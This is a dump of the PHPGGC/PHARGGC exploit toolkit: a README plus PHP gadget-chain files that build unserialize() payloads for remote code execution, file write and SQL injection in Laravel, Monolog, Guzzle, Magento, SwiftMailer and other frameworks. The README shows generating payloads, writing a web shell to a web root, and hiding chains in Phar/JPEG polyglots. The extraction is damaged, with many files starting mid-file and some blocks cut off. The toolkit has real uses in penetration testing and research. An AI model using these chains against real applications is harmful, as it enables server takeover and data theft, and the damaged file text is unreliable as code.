├── README.md ├── gadgetchains ├── Doctrine │ └── FW │ │ └── 1 │ │ ├── chain.php │ │ └── gadgets.php ├── Guzzle │ ├── FW │ │ └── 1 │ │ │ ├── chain.php │ │ │ └── gadgets.php │ └── RCE │ │ └── 1 │ │ ├── chain.php │ │ └── gadgets.php ├── Laravel │ └── RCE │ │ ├── 1 │ │ ├── chain.php │ │ └── gadgets.php │ │ ├── 2 │ │ ├── chain.php │ │ └── gadgets.php │ │ ├── 3 │ │ ├── chain.php │ │ └── gadgets.php │ │ └── 4 │ │ ├── chain.php │ │ └── gadgets.php ├── Magento │ └── SQLI │ │ └── 1 │ │ ├── chain.php │ │ └── gadgets.php ├── Monolog │ └── RCE │ │ ├── 1 │ │ ├── chain.php │ │ └── gadgets.php │ │ └── 2 │ │ ├── chain.php │ │ └── gadgets.php ├── Phalcon │ └── RCE │ │ └── 1 │ │ ├── chain.php │ │ └── gadgets.php ├── Slim │ └── RCE │ │ └── 1 │ │ ├── chain.php │ │ └── gadgets.php ├── SwiftMailer │ └── FW │ │ ├── 1 │ │ ├── chain.php │ │ └── gadgets.php │ │ ├── 2 │ │ ├── chain.php │ │ └── gadgets.php │ │ └── 3 │ │ ├── chain.php │ │ └── gadgets.php ├── Symfony │ ├── FW │ │ └── 1 │ │ │ ├── chain.php │ │ │ └── gadgets.php │ └── RCE │ │ ├── 1 │ │ ├── chain.php │ │ └── gadgets.php │ │ ├── 2 │ │ ├── chain.php │ │ └── gadgets.php │ │ └── 3 │ │ ├── chain.php │ │ └── gadgets.php ├── Yii │ └── RCE │ │ └── 1 │ │ ├── chain.php │ │ └── gadgets.php └── ZendFramework │ └── RCE │ └── 1 │ ├── chain.php │ └── gadgets.php ├── lib ├── PHARGGC.php ├── PHPGGC.php └── PHPGGC │ ├── Exception.php │ ├── GadgetChain.php │ └── GadgetChain │ ├── FileRead.php │ ├── FileWrite.php │ ├── RCE.php │ └── SqlInjection.php ├── pharggc ├── pharggc.bat ├── phpggc ├── phpggc.bat └── templates ├── chain.php └── gadgets.php /README.md: -------------------------------------------------------------------------------- 1 | ## Note: 2 | 3 | This is a temporary branch of PHPGGC, which includes PHARGGC a secondary tool which can be used to encapusalte PHPGGC's payloads in a Phar archive. This can then be used to exploit a variety of exploit scenarios where we can cause a target application to access the archive through the "phar://" stream wrapper. More details on the attack are available in the [whitepaper](https://github.com/s-n-t/presentations/raw/master/us-18-Thomas-It's-A-PHP-Unserialization-Vulnerability-Jim-But-Not-As-We-Know-It-wp.pdf) and [slides](https://github.com/s-n-t/presentations/raw/master/us-18-Thomas-It's-A-PHP-Unserialization-Vulnerability-Jim-But-Not-As-We-Know-It.pdf) from Black Hat USA 2018. 4 | 5 | # PHPGGC: PHP Generic Gadget Chains 6 | 7 | *PHPGGC is a library of unserialize() payloads along with a tool to generate them, from command line or programmatically*. 8 | When encountering an unserialize on a website you don't have the code of, or simply when trying to build an exploit, this tool allows you to generate the payload without having to go through the tedious steps of finding gadgets and combining them. It can be seen as the equivalent of [frohoff's ysoserial](https://github.com/frohoff/ysoserial), but for PHP. 9 | Currently, the tool supports: Doctrine, Guzzle, Laravel, Magento, Monolog, Phalcon, Slim, SwiftMailer, Symfony, Yii and ZendFramework. 10 | 11 | ## Requirements 12 | 13 | PHP >= 5.6 is required to run PHPGGC. 14 | 15 | ## Usage 16 | 17 | Run `./phpggc -l` to obtain a list of gadget chains: 18 | 19 | ``` 20 | $ ./phpggc -l 21 | 22 | Gadget Chains 23 | ------------- 24 | 25 | NAME VERSION TYPE VECTOR I 26 | Doctrine/FW1 ? file_write __toString * 27 | Guzzle/FW1 6.0.0 <= 6.3.2 file_write __destruct 28 | Guzzle/RCE1 6.0.0 <= 6.3.2 rce __destruct 29 | Laravel/RCE1 5.4.27 rce __destruct 30 | Laravel/RCE2 5.5.39 rce __destruct 31 | Laravel/RCE3 5.5.39 rce __destruct * 32 | Laravel/RCE4 5.5.39 rce __destruct 33 | Magento/SQLI1 ? <= 1.9.3.4 sql_injection __destruct 34 | Monolog/RCE1 1.18 <= 1.23 rce __destruct 35 | Monolog/RCE2 1.5 <= 1.17 rce __destruct 36 | Phalcon/RCE1 <= 1.2.2 rce __wakeup * 37 | Slim/RCE1 3.8.1 rce __toString 38 | SwiftMailer/FW1 5.1.0 <= 5.4.8 file_write __toString 39 | SwiftMailer/FW2 6.0.0 <= 6.0.1 file_write __toString 40 | SwiftMailer/FW3 5.0.1 file_write __toString 41 | Symfony/FW1 2.5.2 file_write DebugImport * 42 | Symfony/RCE1 3.3 rce __destruct * 43 | Symfony/RCE2 2.3.42 < 2.6 rce __destruct * 44 | Symfony/RCE3 2.6 <= 2.8.32 rce __destruct * 45 | Yii/RCE1 1.1.19 rce __destruct 46 | ZendFramework/RCE1 ? <= 1.12.20 rce __destruct * 47 | 48 | ``` 49 | 50 | Every gadget chain has: 51 | 52 | - Name: Name of the framework/library 53 | - Version: Version of the framework/library for which gadgets are for 54 | - Type: Type of exploitation: RCE, File Write, File Read, Include... 55 | - Vector: the vector to trigger the chain after the unserialize (`__destruct()`, `__toString()`, `offsetGet()`, ...) 56 | - Informations: Other informations about the chain 57 | 58 | Use `-i` to get detailed information about a chain: 59 | 60 | ``` 61 | $ ./phpggc -i symfony/rce1 62 | Name : Symfony/RCE1 63 | Version : 3.3 64 | Type : rce 65 | Vector : __destruct 66 | Informations : 67 | Exec through proc_open() 68 | 69 | ./phpggc Symfony/RCE1 70 | ``` 71 | 72 | Once you have selected a chain, run `./phpggc [parameters]` to obtain the payload. 73 | For instance, to obtain a payload for Monolog, you'd do: 74 | 75 | ``` 76 | $ ./phpggc monolog/rce1 'phpinfo();' 77 | O:32:"Monolog\Handler\SyslogUdpHandler":1:{s:9:"*socket";O:29:"Monolog\Handler\BufferHandler":7:{s:10:"*handler";r:2;s:13:"*bufferSize";i:-1;s:9:"*buffer";a:1:{i:0;a:2:{i:0;s:10:"phpinfo();";s:5:"level";N;}}s:8:"*level";N;s:14:"*initialized";b:1;s:14:"*bufferLimit";i:-1;s:13:"*processors";a:2:{i:0;s:7:"current";i:1;s:6:"assert";}}} 78 | ``` 79 | 80 | For a file write using SwiftMailer, you'd do: 81 | 82 | ``` 83 | $ echo 'It works !' > /tmp/data 84 | $ ./phpggc swiftmailer/fw1 /var/www/html/shell.php /tmp/data 85 | O:13:"Swift_Message":8:{...} 86 | ``` 87 | 88 | Arguments allow to modify the way the payload is output. For instance, `-u` will URL encode it, and `-b` will convert it to base64. 89 | Payloads often contain NULL bytes and cannot be copy/pasted as-is. Use `-s` for a soft URL encode, which keeps the payload readable. 90 | 91 | The `-w` option allows you to define a PHP file containing a `wrapper($chain)` function. 92 | This will be called after the chain is built, but before the `serialize()`, in order to adjust the payload's shape. 93 | For instance, if the vulnerable code looks like this: 94 | 95 | ``` 96 | $data = unserialize($_GET['data']); 97 | print $data['message']; 98 | ``` 99 | 100 | You could use a __toString() chain, wrapping it like so: 101 | 102 | ``` 103 | # /tmp/my_wrapper.php 104 | 105 | function wrapper($chain) 106 | { 107 | return array( 108 | 'message' => $chain 109 | ); 110 | } 111 | ``` 112 | 113 | And you'd call phpggc like so: 114 | 115 | ``` 116 | $ ./phpggc -w /tmp/my_wrapper.php slim/rce1 'phpinfo();' 117 | a:1:{s:7:"message";O:18:"Slim\Http\Response":2:{...}} 118 | ``` 119 | 120 | ## PHARGGC Usage 121 | 122 | PHARGGC can operate in two different modes. In the first mode output a Phar archive in the base format with the content of a specified file prepended to the stub, for example: 123 | ``` 124 | $ ./pharggc -p prefix.file -o output.file Guzzle/RCE1 'uname -a' 125 | ``` 126 | In the second mode it will produce a JPEG/Tar polyglot Phar archive: 127 | ``` 128 | $ ./pharggc -j input.jpg -o output.jpg Guzzle/RCE1 'ls -l' 129 | ``` 130 | 131 | ## Contributing 132 | 133 | Pull requests are more than welcome. Please follow these simple guidelines: 134 | 135 | - Error-free payloads are prefered, as some websites exit abruptly even with E_NOTICE errors 136 | - `__destruct()` is always the best vector 137 | - Specify at least the version of the library you've built the payload on 138 | - Refrain from using references unless it is necessary or drastically reduces the size of the payload. If the payload is modified by hand afterwards, this might cause problems. 139 | - Do not include unused parameters in the gadget definition if they keep their default values. It just makes the payload bigger. 140 | 141 | Codewise, the directory structure is fairly straightforward: gadgets in _gadgets.php_, description + logic in _chain.php_. 142 | You can define pre- and post- processing methods, if parameters need to be modified. 143 | Hopefully, the already implemented gadgets should be enough for you to build yours. 144 | Otherwise, I'd be glad to answer your questions. 145 | -------------------------------------------------------------------------------- /gadgetchains/Doctrine/FW/1/chain.php: -------------------------------------------------------------------------------- 1 | extension)) 35 | $parameters['extension'] = '.' . $infos->extension; 36 | else 37 | $parameters['extension'] = ''; 38 | 39 | $parameters['directory'] = $infos->dirname; 40 | $parameters['path'] = $infos->dirname . '/e3/5b737464436c61737324434c4153534d455441444154415d5b315d' . $parameters['extension']; 41 | return $parameters; 42 | } 43 | 44 | public function generate(array $parameters) 45 | { 46 | $c = new Configuration([ 47 | 48 | ]); 49 | $table = (object) [ 50 | 'name' => $parameters['data'], 51 | 'schema' => '', 52 | 'indexes' => null, 53 | 'uniqueConstraints' => null, 54 | 'options' => null 55 | ]; 56 | $em0 = new EntityManager(null, $c); 57 | $d0 = new AnnotationDriver(new CachedReader([ 58 | 'stdClass' => 59 | [ 60 | 'Doctrine\ORM\Mapping\Embeddable' => true, 61 | 'Doctrine\ORM\Mapping\Table' => $table 62 | ] 63 | ])); 64 | $fc = new FilesystemCache($parameters['directory'], $parameters['extension']); 65 | $mf = new ClassMetadataFactory($fc, $em0, $d0); 66 | $em = new EntityManager($mf, null); 67 | $writer = new ResultSetMappingBuilder($em); 68 | 69 | return $writer; 70 | } 71 | } 72 | -------------------------------------------------------------------------------- /gadgetchains/Doctrine/FW/1/gadgets.php: -------------------------------------------------------------------------------- 1 | reader = $reader; 26 | } 27 | } 28 | } 29 | 30 | namespace Doctrine\Common\Annotations 31 | { 32 | final class CachedReader 33 | { 34 | private $loadedAnnotations; 35 | 36 | function __construct($loadedAnnotations) 37 | { 38 | $this->loadedAnnotations = $loadedAnnotations; 39 | } 40 | } 41 | } 42 | 43 | namespace Doctrine\ORM\Query 44 | { 45 | class ResultSetMapping 46 | { 47 | public $declaringClasses = array(); 48 | public $columnOwnerMap = array(); 49 | public $fieldMappings = array(); 50 | 51 | } 52 | 53 | # $class = $this->em->getClassMetadata($this->declaringClasses[$columnName]); 54 | # $sql .= $class->fieldMappings[$this->fieldMappings[$columnName]]['columnName']; 55 | class ResultSetMappingBuilder extends ResultSetMapping 56 | { 57 | private $em; 58 | 59 | function __construct($em) 60 | { 61 | $columnName = 'X'; 62 | $this->columnOwnerMap[$columnName] = null; 63 | $this->fieldMappings[$columnName] = 0; 64 | $this->declaringClasses[$columnName] = 'stdClass'; 65 | $this->em = $em; 66 | } 67 | } 68 | } 69 | 70 | namespace Doctrine\ORM 71 | { 72 | class EntityManager 73 | { 74 | private $config; 75 | private $metadataFactory; 76 | private $closed = false; 77 | 78 | function __construct($metadataFactory, $config) 79 | { 80 | $this->metadataFactory = $metadataFactory; 81 | $this->config = $config; 82 | } 83 | } 84 | 85 | class Configuration extends \Doctrine\DBAL\Configuration 86 | { 87 | 88 | } 89 | } 90 | 91 | namespace Doctrine\DBAL 92 | { 93 | class Configuration 94 | { 95 | protected $_attributes = array(); 96 | 97 | function __construct($_attributes) 98 | { 99 | $this->_attributes = $_attributes; 100 | } 101 | } 102 | } 103 | 104 | namespace Doctrine\Common\Persistence\Mapping 105 | { 106 | abstract class AbstractClassMetadataFactory 107 | { 108 | protected $cacheSalt = '$CLASSMETADATA'; 109 | private $cacheDriver; 110 | protected $initialized = true; 111 | 112 | function __construct($cacheDriver) 113 | { 114 | $this->cacheDriver = $cacheDriver; 115 | } 116 | } 117 | } 118 | 119 | namespace Doctrine\ORM\Mapping 120 | { 121 | use \Doctrine\Common\Persistence\Mapping\AbstractClassMetadataFactory; 122 | use \Doctrine\Common\EventManager; 123 | 124 | class ClassMetadataFactory extends AbstractClassMetadataFactory 125 | { 126 | private $em; 127 | private $driver; 128 | private $evm; 129 | 130 | function __construct($cacheDriver, $em, $driver) 131 | { 132 | parent::__construct($cacheDriver); 133 | $this->em = $em; 134 | $this->driver = $driver; 135 | $this->evm = new EventManager(); 136 | } 137 | } 138 | } 139 | 140 | namespace Doctrine\Common\Persistence\Mapping\Driver 141 | { 142 | class DefaultFileLocator 143 | { 144 | protected $paths = ['']; 145 | protected $fileExtension; 146 | } 147 | } 148 | 149 | namespace Doctrine\Common\Persistence\Mapping\Driver 150 | { 151 | abstract class FileDriver 152 | { 153 | protected $locator; 154 | protected $classCache; 155 | protected $globalBasename; 156 | } 157 | 158 | class PHPDriver extends FileDriver 159 | { 160 | protected $metadata; 161 | } 162 | } 163 | 164 | namespace Doctrine\Common\Cache 165 | { 166 | abstract class CacheProvider 167 | { 168 | private $namespace = ''; 169 | private $namespaceVersion; 170 | } 171 | 172 | abstract class FileCache extends CacheProvider 173 | { 174 | protected $directory; 175 | private $extension; 176 | private $umask = ~0777; 177 | private $directoryStringLength; 178 | private $extensionStringLength; 179 | private $isRunningOnWindows; 180 | 181 | function __construct($directory, $extension) 182 | { 183 | $this->directory = $directory; 184 | $this->directoryStringLength = strlen($directory); 185 | $this->extension = $extension; 186 | $this->extensionStringLength = strlen($extension); 187 | } 188 | } 189 | 190 | class FilesystemCache extends FileCache 191 | { 192 | } 193 | } 194 | 195 | 196 | namespace Doctrine\Common 197 | { 198 | class EventManager 199 | { 200 | private $_listeners = []; 201 | } 202 | } -------------------------------------------------------------------------------- /gadgetchains/Guzzle/FW/1/chain.php: -------------------------------------------------------------------------------- 1 | data = [ 12 | 'Expires' => 1, 13 | 'Discard' => false, 14 | 'Value' => $data 15 | ]; 16 | } 17 | } 18 | 19 | class CookieJar 20 | { 21 | private $cookies = []; 22 | private $strictMode; 23 | 24 | public function __construct($data) 25 | { 26 | $this->cookies = [new SetCookie($data)]; 27 | } 28 | } 29 | 30 | class FileCookieJar extends CookieJar 31 | { 32 | private $filename; 33 | private $storeSessionCookies = true; 34 | 35 | public function __construct($filename, $data) 36 | { 37 | parent::__construct($data); 38 | $this->filename = $filename; 39 | } 40 | } 41 | } -------------------------------------------------------------------------------- /gadgetchains/Guzzle/RCE/1/chain.php: -------------------------------------------------------------------------------- 1 | [ 19 | new \GuzzleHttp\HandlerStack($code), 20 | 'resolve' 21 | ] 22 | ]); 23 | } 24 | } 25 | -------------------------------------------------------------------------------- /gadgetchains/Guzzle/RCE/1/gadgets.php: -------------------------------------------------------------------------------- 1 | methods = $methods; 17 | 18 | foreach ($methods as $name => $fn) { 19 | $this->{'_fn_' . $name} = $fn; 20 | } 21 | } 22 | 23 | /* 24 | public function __destruct() 25 | { 26 | if (isset($this->_fn_close)) { 27 | call_user_func($this->_fn_close); 28 | } 29 | } 30 | 31 | public function close() 32 | { 33 | return call_user_func($this->_fn_close); 34 | } 35 | */ 36 | } 37 | } 38 | 39 | namespace GuzzleHttp 40 | { 41 | class HandlerStack 42 | { 43 | private $handler; 44 | private $stack = [['assert']]; 45 | private $cached = false; 46 | 47 | function __construct($handler) 48 | { 49 | $this->handler = $handler; 50 | } 51 | 52 | /* 53 | public function resolve() 54 | { 55 | if (!$this->cached) { 56 | if (!($prev = $this->handler)) { 57 | throw new \LogicException('No handler has been specified'); 58 | } 59 | 60 | foreach (array_reverse($this->stack) as $fn) { 61 | $prev = $fn[0]($prev); 62 | } 63 | 64 | $this->cached = $prev; 65 | } 66 | 67 | return $this->cached; 68 | } 69 | */ 70 | } 71 | } -------------------------------------------------------------------------------- /gadgetchains/Laravel/RCE/1/chain.php: -------------------------------------------------------------------------------- 1 | events = $events; 13 | $this->event = $cmd; 14 | } 15 | } 16 | } 17 | 18 | 19 | namespace Faker 20 | { 21 | class Generator 22 | { 23 | protected $formatters = [ 24 | 'dispatch' => 'assert' 25 | ]; 26 | } 27 | } -------------------------------------------------------------------------------- /gadgetchains/Laravel/RCE/2/chain.php: -------------------------------------------------------------------------------- 1 | events = $events; 13 | $this->event = $cmd; 14 | } 15 | } 16 | } 17 | 18 | 19 | namespace Illuminate\Events 20 | { 21 | class Dispatcher 22 | { 23 | protected $listeners; 24 | 25 | function __construct($cmd) 26 | { 27 | $this->listeners = [ 28 | $cmd => ['assert'] 29 | ]; 30 | } 31 | } 32 | } -------------------------------------------------------------------------------- /gadgetchains/Laravel/RCE/3/chain.php: -------------------------------------------------------------------------------- 1 | events = $events; 12 | } 13 | } 14 | } 15 | 16 | 17 | namespace Illuminate\Notifications 18 | { 19 | class ChannelManager 20 | { 21 | protected $app; 22 | protected $defaultChannel; 23 | protected $customCreators; 24 | 25 | function __construct($cmd) 26 | { 27 | $this->app = $cmd; 28 | $this->customCreators = ['x' => 'assert']; 29 | $this->defaultChannel = 'x'; 30 | } 31 | } 32 | } -------------------------------------------------------------------------------- /gadgetchains/Laravel/RCE/4/chain.php: -------------------------------------------------------------------------------- 1 | events = $events; 13 | $this->event = $event; 14 | } 15 | } 16 | } 17 | 18 | 19 | namespace Illuminate\Validation 20 | { 21 | class Validator 22 | { 23 | public $extensions; 24 | 25 | function __construct() 26 | { 27 | $this->extensions = ['' => 'assert']; 28 | } 29 | } 30 | } -------------------------------------------------------------------------------- /gadgetchains/Magento/SQLI/1/chain.php: -------------------------------------------------------------------------------- 1 | connected = true; 11 | $this->redis = $redis; 12 | } 13 | } 14 | 15 | class Mage_Sales_Model_Order_Payment_Transaction 16 | { 17 | protected $_isFailsafe; 18 | protected $_paymentObject; 19 | protected $_data; 20 | protected $_resourceName; 21 | protected $_idFieldName; 22 | 23 | public function __construct($sql) 24 | { 25 | $this->_isFailsafe = true; 26 | $this->_paymentObject = new Mage_Sales_Model_Order_Payment; 27 | $this->_data = [ 28 | 'order_id' => 1, 29 | 'store_id' => new Zend_Db_Expr("1); " . $sql . ';--') 30 | ]; 31 | $this->_resourceName = 'log/log'; 32 | $this->_idFieldName = 'id'; 33 | } 34 | } 35 | 36 | class Zend_Db_Expr 37 | { 38 | protected $_expression; 39 | 40 | public function __construct($expression) 41 | { 42 | $this->_expression = $expression; 43 | } 44 | } 45 | 46 | class Mage_Sales_Model_Order_Payment 47 | { 48 | protected $_idFieldName; 49 | 50 | public function __construct() 51 | { 52 | $this->_idFieldName = 'id'; 53 | } 54 | } 55 | -------------------------------------------------------------------------------- /gadgetchains/Monolog/RCE/1/chain.php: -------------------------------------------------------------------------------- 1 | null] 19 | ) 20 | ); 21 | } 22 | } -------------------------------------------------------------------------------- /gadgetchains/Monolog/RCE/1/gadgets.php: -------------------------------------------------------------------------------- 1 | socket = $x; 12 | } 13 | } 14 | 15 | class BufferHandler 16 | { 17 | protected $handler; 18 | protected $bufferSize = -1; 19 | protected $buffer; 20 | # ($record['level'] < $this->level) == false 21 | protected $level = null; 22 | protected $initialized = true; 23 | # ($this->bufferLimit > 0 && $this->bufferSize === $this->bufferLimit) == false 24 | protected $bufferLimit = -1; 25 | protected $processors; 26 | 27 | function __construct($methods, $command) 28 | { 29 | $this->processors = $methods; 30 | $this->buffer = [$command]; 31 | $this->handler = clone $this; 32 | } 33 | } 34 | } -------------------------------------------------------------------------------- /gadgetchains/Monolog/RCE/2/chain.php: -------------------------------------------------------------------------------- 1 | null] 19 | ) 20 | ); 21 | } 22 | } -------------------------------------------------------------------------------- /gadgetchains/Monolog/RCE/2/gadgets.php: -------------------------------------------------------------------------------- 1 | socket = $x; 13 | } 14 | } 15 | 16 | class BufferHandler 17 | { 18 | protected $handler; 19 | protected $bufferSize = -1; 20 | protected $buffer; 21 | # ($record['level'] < $this->level) == false 22 | protected $level = null; 23 | protected $initialized = true; 24 | # ($this->bufferLimit > 0 && $this->bufferSize === $this->bufferLimit) == false 25 | protected $bufferLimit = -1; 26 | protected $processors; 27 | 28 | function __construct($methods, $command) 29 | { 30 | $this->processors = $methods; 31 | $this->buffer = [$command]; 32 | $this->handler = clone $this; 33 | } 34 | } 35 | } -------------------------------------------------------------------------------- /gadgetchains/Phalcon/RCE/1/chain.php: -------------------------------------------------------------------------------- 1 | _shared = false; 10 | $this->_definition = array( 11 | 'className' => '\Phalcon\Mvc\View\Engine\Php', 12 | 'arguments' => array(array('type' => 'parameter', 'value' => 'test')), 13 | 'calls' => array( 14 | array( 15 | 'method' => 'render', 16 | 'arguments' => array( 17 | array( 18 | 'type' => 'parameter', 19 | 'value' => 'php://input' 20 | ), array( 21 | 'type' => 'parameter', 22 | 'value' => array() 23 | ) 24 | ) 25 | ) 26 | ) 27 | ); 28 | } 29 | } 30 | } 31 | 32 | namespace Phalcon { 33 | class Di { 34 | protected $_services; 35 | 36 | public function __construct() { 37 | $this->_services = array('session' => new \Phalcon\Di\Service()); 38 | } 39 | } 40 | } 41 | 42 | namespace Phalcon\Http { 43 | class Cookie { 44 | protected $_dependencyInjector; 45 | protected $_name = "test"; 46 | protected $_expire = 0; 47 | protected $_httpOnly = 1; 48 | protected $_readed = true; 49 | protected $_restored = false; 50 | 51 | public function __construct() { 52 | $this->_dependencyInjector = new \Phalcon\Di(); 53 | } 54 | } 55 | } 56 | 57 | namespace Phalcon\Logger\Adapter { 58 | class File { 59 | protected $_transaction; 60 | protected $_queue; 61 | protected $_formatter; 62 | protected $_logLevel; 63 | protected $_fileHandler; 64 | protected $_path; 65 | protected $_options; 66 | 67 | function __construct() { 68 | $this->_path = new \Phalcon\Http\Cookie("test"); 69 | } 70 | } 71 | } 72 | 73 | ?> 74 | -------------------------------------------------------------------------------- /gadgetchains/Slim/RCE/1/chain.php: -------------------------------------------------------------------------------- 1 | keys = $this->raw = $this->values = $array; 14 | } 15 | } 16 | } 17 | 18 | namespace Slim 19 | { 20 | class App 21 | { 22 | private $container; 23 | 24 | function __construct($container) 25 | { 26 | $this->container = $container; 27 | } 28 | } 29 | 30 | class Container extends \Pimple\Container 31 | { 32 | 33 | } 34 | } 35 | 36 | namespace Slim\Http 37 | { 38 | use \Slim\App; 39 | use \Slim\Container; 40 | 41 | abstract class Message 42 | { 43 | protected $headers; 44 | protected $body = ''; 45 | 46 | function __construct($code) 47 | { 48 | $z = new App(new Container(['has' => 'assert'])); 49 | $y = new App($z); 50 | $this->headers = new App(new Container(['all' => [$y, $code]])); 51 | } 52 | } 53 | 54 | class Response extends Message 55 | { 56 | 57 | } 58 | } -------------------------------------------------------------------------------- /gadgetchains/SwiftMailer/FW/1/chain.php: -------------------------------------------------------------------------------- 1 | _encoder = new Swift_Mime_HeaderEncoder_Base64HeaderEncoder(); 20 | $this->_paramEncoder = new Swift_Mime_HeaderEncoder_Base64HeaderEncoder(); 21 | $this->_grammar = new Swift_Mime_Grammar(); 22 | } 23 | } 24 | 25 | class Swift_Mime_SimpleHeaderSet 26 | { 27 | private $_factory; 28 | 29 | function __construct() 30 | { 31 | $this->_factory = new Swift_Mime_SimpleHeaderFactory(); 32 | } 33 | } 34 | 35 | class Swift_Mime_ContentEncoder_RawContentEncoder 36 | { 37 | 38 | } 39 | 40 | class Swift_Mime_SimpleMimeEntity 41 | { 42 | private $_headers; 43 | private $_body; 44 | private $_encoder; 45 | private $_cache; 46 | private $_cacheKey = 'something'; 47 | 48 | function __construct($cache, $body) 49 | { 50 | $this->_cache = $cache; 51 | $this->_body = $body; 52 | $this->_encoder = new Swift_Mime_ContentEncoder_RawContentEncoder(); 53 | $this->_headers = new Swift_Mime_SimpleHeaderSet(); 54 | } 55 | } 56 | 57 | class Swift_Message extends Swift_Mime_SimpleMimeEntity 58 | { 59 | private $headerSigners = []; 60 | private $bodySigners = []; 61 | private $savedMessage = []; 62 | 63 | function __construct($headerSigner, $cache, $body) 64 | { 65 | parent::__construct($cache, $body); 66 | $this->headerSigners = [$headerSigner]; 67 | } 68 | } 69 | 70 | class Swift_Signers_DomainKeySigner 71 | { 72 | protected $_privateKey = <<_bound = [$_bound]; 94 | } 95 | } 96 | 97 | class Swift_KeyCache_ArrayKeyCache 98 | { 99 | private $_contents = []; 100 | private $_stream; 101 | 102 | function __construct($_stream) 103 | { 104 | $this->_stream = $_stream; 105 | } 106 | } 107 | 108 | class Swift_KeyCache_SimpleKeyCacheInputStream 109 | { 110 | private $_keyCache; 111 | private $_nsKey = 'something'; 112 | private $_itemKey = 'something'; 113 | private $_writeThrough = null; 114 | 115 | function __construct($_writeThrough) 116 | { 117 | $this->_keyCache = new Swift_KeyCache_ArrayKeyCache(null); 118 | $this->_writeThrough = $_writeThrough; 119 | } 120 | } 121 | 122 | abstract class Swift_ByteStream_AbstractFilterableInputStream 123 | { 124 | } 125 | 126 | class Swift_ByteStream_FileByteStream extends Swift_ByteStream_AbstractFilterableInputStream 127 | { 128 | private $_path; 129 | private $_mode = 'w+b'; 130 | 131 | function __construct($_path) 132 | { 133 | $this->_path = $_path; 134 | } 135 | } -------------------------------------------------------------------------------- /gadgetchains/SwiftMailer/FW/2/chain.php: -------------------------------------------------------------------------------- 1 | encoder = new Swift_Mime_HeaderEncoder_Base64HeaderEncoder(); 20 | $this->paramEncoder = new Swift_Mime_HeaderEncoder_Base64HeaderEncoder(); 21 | $this->grammar = new Swift_Mime_Grammar(); 22 | } 23 | } 24 | 25 | class Swift_Mime_SimpleHeaderSet 26 | { 27 | private $factory; 28 | 29 | function __construct() 30 | { 31 | $this->factory = new Swift_Mime_SimpleHeaderFactory(); 32 | } 33 | } 34 | 35 | class Swift_Mime_ContentEncoder_RawContentEncoder 36 | { 37 | 38 | } 39 | 40 | class Swift_Mime_SimpleMimeEntity 41 | { 42 | private $headers; 43 | private $body; 44 | private $encoder; 45 | private $cache; 46 | private $cacheKey = 'something'; 47 | 48 | function __construct($cache, $body) 49 | { 50 | $this->cache = $cache; 51 | $this->body = $body; 52 | $this->encoder = new Swift_Mime_ContentEncoder_RawContentEncoder(); 53 | $this->headers = new Swift_Mime_SimpleHeaderSet(); 54 | } 55 | } 56 | 57 | class Swift_Message extends Swift_Mime_SimpleMimeEntity 58 | { 59 | private $headerSigners = []; 60 | private $bodySigners = []; 61 | private $savedMessage = []; 62 | 63 | function __construct($headerSigner, $cache, $body) 64 | { 65 | parent::__construct($cache, $body); 66 | $this->headerSigners = [$headerSigner]; 67 | } 68 | } 69 | 70 | class Swift_Signers_DomainKeySigner 71 | { 72 | protected $privateKey = <<bound = [$bound]; 94 | } 95 | } 96 | 97 | class Swift_KeyCache_ArrayKeyCache 98 | { 99 | private $contents = []; 100 | private $stream; 101 | 102 | function __construct($stream) 103 | { 104 | $this->stream = $stream; 105 | } 106 | } 107 | 108 | class Swift_KeyCache_SimpleKeyCacheInputStream 109 | { 110 | private $keyCache; 111 | private $nsKey = 'something'; 112 | private $itemKey = 'something'; 113 | private $writeThrough = null; 114 | 115 | function __construct($writeThrough) 116 | { 117 | $this->keyCache = new Swift_KeyCache_ArrayKeyCache(null); 118 | $this->writeThrough = $writeThrough; 119 | } 120 | } 121 | 122 | abstract class Swift_ByteStream_AbstractFilterableInputStream 123 | { 124 | } 125 | 126 | class Swift_ByteStream_FileByteStream extends Swift_ByteStream_AbstractFilterableInputStream 127 | { 128 | private $path; 129 | private $mode = 'w+b'; 130 | 131 | function __construct($path) 132 | { 133 | $this->path = $path; 134 | } 135 | } -------------------------------------------------------------------------------- /gadgetchains/SwiftMailer/FW/3/chain.php: -------------------------------------------------------------------------------- 1 | _encoder = new Swift_Mime_HeaderEncoder_Base64HeaderEncoder(); 20 | $this->_paramEncoder = new Swift_Mime_HeaderEncoder_Base64HeaderEncoder(); 21 | $this->_grammar = new Swift_Mime_Grammar(); 22 | } 23 | } 24 | 25 | class Swift_Mime_SimpleHeaderSet 26 | { 27 | private $_factory; 28 | 29 | function __construct() 30 | { 31 | $this->_factory = new Swift_Mime_SimpleHeaderFactory(); 32 | } 33 | } 34 | 35 | class Swift_Mime_ContentEncoder_RawContentEncoder 36 | { 37 | 38 | } 39 | 40 | class Swift_Mime_SimpleMimeEntity 41 | { 42 | private $_headers; 43 | private $_body; 44 | private $_encoder; 45 | private $_cache; 46 | private $_cacheKey = 'something'; 47 | 48 | function __construct($cache, $body) 49 | { 50 | $this->_cache = $cache; 51 | $this->_body = $body; 52 | $this->_encoder = new Swift_Mime_ContentEncoder_RawContentEncoder(); 53 | $this->_headers = new Swift_Mime_SimpleHeaderSet(); 54 | } 55 | } 56 | 57 | class Swift_SignedMessage extends Swift_Mime_SimpleMimeEntity 58 | { 59 | private $headerSigners = []; 60 | private $bodySigners = []; 61 | private $savedMessage = []; 62 | 63 | function __construct($headerSigner, $cache, $body) 64 | { 65 | parent::__construct($cache, $body); 66 | $this->headerSigners = [$headerSigner]; 67 | } 68 | } 69 | 70 | class Swift_Signers_DomainKeySigner 71 | { 72 | protected $_privateKey = <<_bound = [$_bound]; 94 | } 95 | } 96 | 97 | class Swift_KeyCache_ArrayKeyCache 98 | { 99 | private $_contents = []; 100 | private $_stream; 101 | 102 | function __construct($_stream) 103 | { 104 | $this->_stream = $_stream; 105 | } 106 | } 107 | 108 | class Swift_KeyCache_SimpleKeyCacheInputStream 109 | { 110 | private $_keyCache; 111 | private $_nsKey = 'something'; 112 | private $_itemKey = 'something'; 113 | private $_writeThrough = null; 114 | 115 | function __construct($_writeThrough) 116 | { 117 | $this->_keyCache = new Swift_KeyCache_ArrayKeyCache(null); 118 | $this->_writeThrough = $_writeThrough; 119 | } 120 | } 121 | 122 | abstract class Swift_ByteStream_AbstractFilterableInputStream 123 | { 124 | } 125 | 126 | class Swift_ByteStream_FileByteStream extends Swift_ByteStream_AbstractFilterableInputStream 127 | { 128 | private $_path; 129 | private $_mode = 'w+b'; 130 | 131 | function __construct($_path) 132 | { 133 | $this->_path = $_path; 134 | } 135 | } 